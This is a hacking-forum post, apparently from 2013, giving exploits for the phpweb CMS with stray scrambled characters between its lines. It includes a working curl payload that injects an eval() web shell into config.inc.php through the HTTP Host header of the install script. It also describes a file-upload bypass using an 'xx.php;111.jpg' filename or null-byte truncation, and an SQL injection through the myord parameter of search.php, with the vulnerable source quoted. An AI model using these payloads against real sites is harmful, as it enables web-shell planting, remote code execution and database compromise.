中国网络渗透测试联盟
标题:
phpweb成品网站最新版(注入、上传、写shell)
[打印本页]
作者:
admin
时间:
2013-1-4 19:45
标题:
phpweb成品网站最新版(注入、上传、写shell)
注入:
$ ~1 w) o" [4 p6 X9 z* a
' v7 r& f1 k3 q& J; G5 Z
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
) U4 w, K4 D! C' c4 J n
5 I' \ c" A9 X2 D
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
9 x0 h1 T. L. @/ o B. Z# e2 T
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
! ?& } v3 f& ~+ r4 W/ g$ F: ~
1 K5 ]0 \5 n# p" s$ B7 p4 v
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
$ }! I% Q2 T! B: K
1 }& O/ c& F' l- J8 D; R$ y! P
分析:
; j1 z6 ^" k h1 \" ?
3 ` g K. H8 Y, ]
. A% P4 J+ I; A: n" B9 K
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
5 v9 N1 j! U& [
0 G! J' u7 _4 t& Y! i
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
8 r+ `" ^ a# h. z
$filestr=str_replace(" ","",$filestr);
4 X5 Y, X9 t0 e m1 q
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
: \: c4 L2 x# W) g& `% P2 c9 N
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
4 H* D Q( I6 o( f6 _* D: a
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
$ X. A$ {7 O2 x8 H4 |8 G2 c5 W: O+ u) X
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
+ H y+ D6 G4 y* ^
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
1 |' ~1 g1 P1 Z9 b
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
% _8 T" T1 C: ]8 q; B
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
+ P d; L4 b/ P
' H- s9 {, l' E
fwrite(fopen($ConFile,"w"),$filestr,30000);
# x4 C0 E( h S U5 Z$ }- R/ E
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
* f' E/ A0 t; D2 L* K3 A0 l! F; a
) I2 m7 z6 a) d
poc:
- I+ Z$ N" c' x A$ {$ y
+ j: H3 E1 c; D* C( ? b
?
5 e( X9 w* v$ q) d& L
1
. I4 y9 u, f/ D1 U. U" i S6 [
curl
http://fuck.0day5.com/base/install/index.php
--data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
0 t; y0 V) ?, s' y
shell地址: /config.inc.php
0 }1 r' I o1 B- `
跟之前的 phpcms一样 需要远程数据库
0 H6 F: l$ \& Q$ Y% I! h9 @
5 }+ O; R6 n; L9 W# {- a+ }* i
——————————————————–
7 @) @! \* L- z& g; a
上传漏洞(需要进后台):
( ` p' g9 w1 G; u5 e# f9 q5 q$ {
漏洞文件: /kedit/upload_cgi/upload.php
7 \$ t3 N3 }/ g2 {, k" q9 V% U
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
( P7 b7 a/ Y, N0 f$ G
/ `' X$ l" P5 J, U, x
1 S0 W- z8 a9 q0 K4 v5 Q% `% L
<?php
: P3 n: Y/ @' [+ q
define("ROOTPATH", "../../");
8 u& b; A( j3 ^+ {/ ^- i
include(ROOTPATH."includes/admin.inc.php");
( K L8 j( g; Z0 r8 _4 p) c4 C
NeedAuth(0);
8 a1 e0 c+ U! C" v L
4 f$ l I! o `
$dt=date("Ymd",time());
8 x- M/ z8 F {
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
$ g3 m0 u `2 `2 T. I
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
3 H: \9 P1 d+ J: b% L2 m
}
1 \' G( d) h4 e
. F8 M% n e8 C% Z q
//文件保存目录路径
/ V- V, j* p4 H1 K9 W/ M- e- z
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
3 Z, i$ F9 j y: m2 M
echo $save_path;
% b+ }% E7 P5 G( i( p7 f7 P
//文件保存目录URL
: r' W+ x O) ^9 p, |% n, z
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
# F5 }/ y' [' j0 K/ {' E
" w5 W9 L; Q! u* D* t1 x
//定义允许上传的文件扩展名
8 b% {6 d- W8 T+ ]; p& d0 o5 {" X
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
6 g: j* u# [- T0 G0 J
4 v2 s S$ C; u2 x e0 `
//最大文件大小
" m4 b) g, L5 a- I+ P
$max_size = 1000000;
, U+ q3 ~1 V9 o; i, i
% C6 c- N* C7 R' }1 S: e: d2 }
//更改目录权限
8 o3 a( D* j2 s* ]
@mkdir($save_path, 0777);
) r1 a/ _ J+ Z& M0 R: L! y
* \: Q8 k5 u/ w6 s+ W& j- g
//文件的全部路径
" K& Y7 v/ X' J0 Q* `/ ?
$file_path = $save_path.$_POST['fileName']; //保存文件名
C: U+ `* s Q8 ?
" w+ c+ H: m! f0 P! {
//文件URL
2 n7 y9 W/ }- x& a! s# E
$file_url = $save_url.$_POST['fileName'];
1 e" ~$ X' o) E" p
//有上传文件时
3 V2 y9 ~; j0 g! T4 d& ?% }2 R
if (empty($_FILES) === false) {
; {/ A. G# a3 p: f
; g2 a! w. P' {1 m8 D4 B( @
//原文件名
( P/ U3 ^/ F* d: |% j
$file_name = $_FILES['fileData']['name'];
7 r, T9 E& d9 y
//服务器上临时文件名
. t } e' ^0 s. @+ ^8 W
$tmp_name = $_FILES['fileData']['tmp_name'];
1 d; k. v2 g. }& v" s
//文件大小
, X3 U4 }1 [3 P, W, ~0 L! o
$file_size = $_FILES['fileData']['size'];
$ R4 i7 c/ J. |8 k0 E+ W& H
//检查目录
' C" w* R0 f2 M- M# |+ [5 \- G6 Y
if (@is_dir($save_path) === false) {
9 ]) N I- }& U( F: D# c+ {
alert("上传目录不存在。");
' n0 }; T" n2 n: R6 `
}
& m. P! `+ e8 H. ^2 k
//检查目录写权限
; c0 A) a1 t3 F+ C; E3 W' U
if (@is_writable($save_path) === false) {
7 k1 D, \2 I- C O
alert("上传目录没有写权限。");
) F( L$ Q: R, s! ]. G
}
) G0 g! _8 B2 ~* D6 L; `
//检查是否已上传
* q9 Z- k. z" |
if (@is_uploaded_file($tmp_name) === false) {
- [( R. t& O+ _' P' V
alert("临时文件可能不是上传文件。");
5 y! L8 @ E* R \# W1 ~& o7 p
}
5 X k# s$ o' g" D8 F
//检查文件大小
6 |* I- N/ `5 v( F- ^9 n
if ($file_size > $max_size) {
a: P) B/ Q4 C8 q2 N9 o
alert("上传文件大小超过限制。");
+ R! A1 h, P% S9 K
}
& X1 j4 N! d# v# P( [
//获得文件扩展名
9 j/ j8 `# z% D3 k0 B4 |
$temp_arr = explode(".", $_POST['fileName']);
& a1 W$ A0 C( j9 R! e K% M* b3 X
$file_ext = array_pop($temp_arr);
: [6 A- m1 u N# D
$file_ext = trim($file_ext);
: W7 N( O4 A/ x, ?* N3 D
$file_ext = strtolower($file_ext);
. x7 g5 U/ v' N
$ B: C, O3 C8 H7 p7 \8 l$ j2 p7 I
//检查扩展名
4 s- s0 u" G0 w! m
if (in_array($file_ext, $ext_arr) === false) {
3 I5 X) @& R3 r2 U( q8 [
alert("上传文件扩展名是不允许的扩展名。");
8 j$ a1 o% t; X
}
" e5 }7 c& o* C1 p+ K& ?) x
' m+ {3 c# f! K, I' R
//移动文件
: _2 a6 w* V8 Z+ ^6 d# ^0 A; v
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
2 G+ k; M- q4 m% R/ K L- z
if (move_uploaded_file($tmp_name, $file_path) === false) {
+ b! h/ Q; Q# r7 ^
alert("上传文件失败。");
9 s# N: @: q% q& a# q5 H/ S
}
! M+ c; t$ b) \0 v9 F+ a# q
- e9 I$ R3 t3 Z; N1 z9 z7 w
@chmod($file_path,0666);
/ ~) F7 h( D: P1 _$ S- M
% d; d8 u# @% @( ^) d- n( `$ H
?>
0 A& g5 o( o1 j! O
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用
http://www.0day5.com/?p=227
; ]$ C9 X: u- x7 _" b6 S9 c
9 h) N' w% h) h) n+ F
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
4 ?# b% B- s5 q; a$ P
; I4 I8 n% W: t
——————————————————
+ Z2 {% j1 X* Z0 E& `/ G
注入漏洞:
4 ~, J5 z8 w. e1 g& \4 j& N O
漏洞文件:search/module/search.php
& O6 ^. A* Z$ }: J5 d) A3 I+ h
/search/index.php?key=1&myord=1 [sqlinjection]
0 K8 D# L; ~& j/ w5 E( F" O) I
% K' s, y6 [+ p% e0 d1 n9 \- l
9 m; `" ?/ {9 L% u
<?php
4 I8 p# |7 T7 u! z% ]- c1 T
// ... 省略 n 行...
2 b8 S' E1 ?5 f* C% X' e
//第18行:
5 V9 d/ b+ M# `, D( h& |/ k
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
5 L9 m+ h9 w1 l, t4 k$ `
$page=htmlspecialchars($_GET["page"]);
6 h3 `6 a% o6 X, N" w( E
$myord=htmlspecialchars($_GET["myord"]);
$ ?; G& |5 K" g: M( k& j* ^+ W* X
l7 {( q0 k+ b! C L0 t
// ... 省略 n 行...
$ Q3 l, o s* h! J/ z4 ]7 \" U! ~0 ]* F
$key,$myord 两个参数带入查询
, q* R* X0 P, |# K/ S
//第47行 $key:
; {/ n% A0 A3 E8 p
5 ^6 _) ]2 t/ w! t$ m2 C* m
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
0 }0 C- { X6 j/ k) _% ]. g
6 s; X% w( B) \( x! q
//第197行 $myord
j* L0 D0 b* d8 e. h5 X2 i7 J; c
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
' y \7 @# S3 v0 S( c
- W; O+ o- \) @1 A& w b
?>
C/ |/ [7 r0 s6 N& C
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2